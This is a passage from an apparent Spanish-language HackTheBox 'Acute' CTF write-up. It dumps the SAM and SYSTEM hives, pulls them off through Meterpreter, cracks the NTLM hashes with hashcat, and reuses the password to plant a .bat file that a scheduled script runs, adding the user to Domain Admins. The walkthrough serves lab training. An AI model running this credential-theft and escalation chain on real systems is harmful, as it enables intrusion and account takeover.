10BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
11BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
12NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
13NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
14NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
15Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
16Mandatory Label\High Mandatory Level Label S-1-16-12288
Una buena práctica en auditorias cuando eres administrador es conseguir credenciales de otros usuarios, podemos hacer esto haciendo el típico método de dumpeando la SAM.
Un tutorial básico de como hacer esto lo podemos encontrar aquí
Podemos dumper el registro de la SAM y el registro System.
1C:\Users\jmorgan\Documents>reg save hklm\sam c:\sam
2reg save hklm\sam c:\sam
3The operation completed successfully.
4
5C:\Users\jmorgan\Documents>reg save hklm\system c:\system
6reg save hklm\system c:\system
7The operation completed successfully.
Vemos que ha funcionado correctamente.
1C:\>dir
2dir
3 Volume in drive C has no label.
4 Volume Serial Number is 8A9A-E124
5
6 Directory of C:\
7
807/12/2019 10:14 <DIR> PerfLogs
906/12/2021 12:06 <DIR> Program Files
1007/12/2021 13:43 <DIR> Program Files (x86)
1106/09/2024 21:17 57,344 sam
1206/09/2024 21:17 12,140,544 system
1321/12/2021 23:50 <DIR> Users
1406/09/2024 19:57 <DIR> Utils
1516/12/2021 02:23 <DIR> Windows
16 2 File(s) 12,197,888 bytes
17 6 Dir(s) 8,004,026,368 bytes free
Para que no haya problemas de lectura podemos añadir a edavies
como administrador en la máquina.
1C:\>net localgroup administrators edavies /add
2net localgroup administrators edavies /add
3The command completed successfully.
Nos vamos a copiar los archivos a la carpeta Utils
que es donde tengo la raíz de mi sesión de metasploit
1C:\>copy system Utils
2copy system Utils
3 1 file(s) copied.
4
5C:\>copy sam Utils
6copy sam Utils
7 1 file(s) copied.
Ahora nos descargamos los archivos.
1Meterpreter 1)(C:\uTILS) > download sam
2[*] Downloading: sam -> /home/pointedsec/Desktop/sam
3[*] Downloaded 56.00 KiB of 56.00 KiB (100.0%): sam -> /home/pointedsec/Desktop/sam
4[*] Completed : sam -> /home/pointedsec/Desktop/sam
5(Meterpreter 1)(C:\uTILS) > download system
6[*] Downloading: system -> /home/pointedsec/Desktop/system
7
8[*] Downloaded 1.00 MiB of 11.58 MiB (8.64%): system -> /home/pointedsec/Desktop/system
9[*] Downloaded 2.00 MiB of 11.58 MiB (17.27%): system -> /home/pointedsec/Desktop/system
10[*] Downloaded 3.00 MiB of 11.58 MiB (25.91%): system -> /home/pointedsec/Desktop/system
11[*] Downloaded 4.00 MiB of 11.58 MiB (34.55%): system -> /home/pointedsec/Desktop/system
12[*] Downloaded 5.00 MiB of 11.58 MiB (43.18%): system -> /home/pointedsec/Desktop/system
13[*] Downloaded 6.00 MiB of 11.58 MiB (51.82%): system -> /home/pointedsec/Desktop/system
14[*] Downloaded 7.00 MiB of 11.58 MiB (60.46%): system -> /home/pointedsec/Desktop/system
15[*] Downloaded 8.00 MiB of 11.58 MiB (69.1%): system -> /home/pointedsec/Desktop/system
16[*] Downloaded 9.00 MiB of 11.58 MiB (77.73%): system -> /home/pointedsec/Desktop/system
17[*] Downloaded 10.00 MiB of 11.58 MiB (86.37%): system -> /home/pointedsec/Desktop/system
18[*] Downloaded 11.00 MiB of 11.58 MiB (95.01%): system -> /home/pointedsec/Desktop/system
19[*] Downloaded 11.58 MiB of 11.58 MiB (100.0%): system -> /home/pointedsec/Desktop/system
20[*] Completed : system -> /home/pointedsec/Desktop/system
Y conseguimos los hashes LM:NT de los usuarios de este equipo.
1$ secretsdump.py -sam sam -system system LOCAL
2Impacket v0.12.0.dev1+20240819.165705.f98c9870 - Copyright 2023 Fortra
3
4[*] Target system bootKey: 0x44397c32a634e3d8d8f64bff8c614af7
5[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
6Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
7Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
8DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
9WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
10Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
11[*] Cleaning up...
Podemos guardar los hashes a un fichero.
1$ cat hashes.txt
2a29f7623fd11550def0192de9246f46b
331d6cfe0d16ae931b73c59d7e0c089c0
431d6cfe0d16ae931b73c59d7e0c089c0
524571eab88ac0e2dcef127b8e9ad4740
629ab86c5c4d2aab957763e5c1720486d
Y podemos intentar crackearlos con hashcat
1$ hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
2
3....
431d6cfe0d16ae931b73c59d7e0c089c0:
5a29f7623fd11550def0192de9246f46b:Password@123
Conseguimos crackear el hash de la cuenta de invitados que no tiene credencial.
Y el hash de la cuenta del administrador que corresponde a Password@123
Después de probar varios usuarios, vemos que podemos ejecutar comandos en el equipo atsserver
como el usuario awallace
y utilizando otra vez la política dc_manage
1PS C:\uTILS> $passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
2$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
3PS C:\uTILS> $cred = New-Object System.Management.Automation.PSCredential("acute\awallace", $passwd)
4$cred = New-Object System.Management.Automation.PSCredential("acute\awallace", $passwd)
5PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami}
6Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami}
7acute\awallace
Otra vez estamos restringidos así que solo podemos intentar enumerar la máquina que ya habíamos enumerado.
Pero me acordé del keepmeon
del cual no había encontrado nada por Internet, por lo cual debe de ser algo personalizado.
Y vemos un archivo keepmeon.bat
, un poco rebuscado…
1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
3
4
5 Directory: C:\Program Files\keepmeon
6
7
8Mode LastWriteTime Length Name PSComputerName
9---- ------------- ------ ---- --------------
10-a---- 21/12/2021 14:57 128 keepmeon.bat atsserver
Este es el script.
1REM This is run every 5 minutes. For Lois use ONLY
2@echo off
3 for /R %%x in (*.bat) do (
4 if not "%%x" == "%~0" call "%%x"
5)
El script busca y ejecuta todos los archivos .bat
en el directorio actual y en los subdirectorios, exceptuando el propio script que está en ejecución. Esta es una forma de automatizar la ejecución de múltiples scripts .bat
sin tener que llamarlos individualmente.
Privilege Escalation
En el documento word del principio, encontrabamos lo siguiente.
**Lois is the only authorized personnel to change Group Membership, Contact Lois to have this approved and changed if required. Only Lois can become site admin. **
Entonces el usuario Lois
que es el mismo que está ejecutando el script que hemos encontrado cada 5 minutos, puede agregar a los usuarios a un grupo para convertirse en “site admin”, vamos a investigar a que grupo puede que añada a los usuarios.
Vemos un grupo llamado Site_Admin
, blanco y en botella leche.
1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {net group /domain} Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {net group /domain}
2
3Group Accounts for \\
4
5-------------------------------------------------------------------------------
6*Cloneable Domain Controllers
7*DnsUpdateProxy
8*Domain Admins
9*Domain Computers
10*Domain Controllers
11*Domain Guests
12*Domain Users
13*Enterprise Admins
14*Enterprise Key Admins
15*Enterprise Read-only Domain Controllers
16*Group Policy Creator Owners
17*Key Admins
18*Managers
19*Protected Users
20*Read-only Domain Controllers
21*Schema Admins
22*Site_Admin
23The command completed with one or more errors.
Vamos a crear un script para añadir al usuario awallace
a este grupo.
Se lo podemos preguntar a ChatGPT como he hecho en varias partes en este write-up.
1Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'C:\Program Files\keepmeon\pointed.bat' -Value 'net group "Site_Admin" awallace /add /domain'}
Ahora podemos comprobar que se ha creado.
1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon\"}
2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon\"}
3
4
5 Directory: C:\Program Files\keepmeon
6
7
8Mode LastWriteTime Length Name PSComputerName
9---- ------------- ------ ---- --------------
10-a---- 21/12/2021 14:57 128 keepmeon.bat atsserver
11-a---- 06/09/2024 21:45 59 pointed.bat atsserver
Podemos comprobar el contenido.
1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type "C:\Program Files\keepmeon\p
2ointed.bat"}
3Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type "C:\Program Files\keepmeon\pointed.bat"}
4net group "Site_Admin" awallace /add /domain
Después de esperar 5 minutos podemos revisar los grupos de awallace
y vemos que ahora pertenece a Site_Admin
y a Domain Admins
1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami /groups}
2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami /groups}
3
4GROUP INFORMATION
5-----------------
6
7Group Name Type SID Attributes
8============================================ ================ ============================================== ===============================================================
9Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
10BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
11BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
12BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
13BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
14NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
15NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
16NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
17ACUTE\Domain Admins Group S-1-5-21-1786406921-1914792807-2072761762-512 Mandatory group, Enabled by default, Enabled group
18ACUTE\Managers Group S-1-5-21-1786406921-1914792807-2072761762-1111 Mandatory group, Enabled by default, Enabled group
19ACUTE\Site_Admin Group S-1-5-21-1786406921-1914792807-2072761762-2102 Mandatory group, Enabled by default, Enabled group
20Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
21ACUTE\Denied RODC Password Replication Group Alias S-1-5-21-1786406921-1914792807-2072761762-572 Mandatory group, Enabled by default, Enabled group, Local Group
22Mandatory Label\High Mandatory Level Label S-1-16-12288
Así que ahora teóricamente podemos acceder a la flag de root
.
1PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls C:\Users\Administrator\Desktop}
2Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls C:\Users\Administrator\Desktop}
3
4
5 Directory: C:\Users\Administrator\Desktop
6
7
8Mode LastWriteTime Length Name PSComputerName
9---- ------------- ------ ---- --------------
10-ar--- 06/09/2024 17:37 34 root.txt atsserver
11
12
13PS C:\uTILS> Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
14Invoke-Command -ComputerName atsserver -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
157e9839b552472...
Happy Hacking! 🚀
#HackTheBox #Acute #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #HTTPS Enumeration #SSL Certificate Examination #Information Disclosure #Abusing PSWA #Abusing AV Exclusions #C2 #Sliver #Abusing RDP Session #User Pivoting #Dumping SAM #NTLM Cracking #Hash Cracking #Cracking #Abusing Bat Task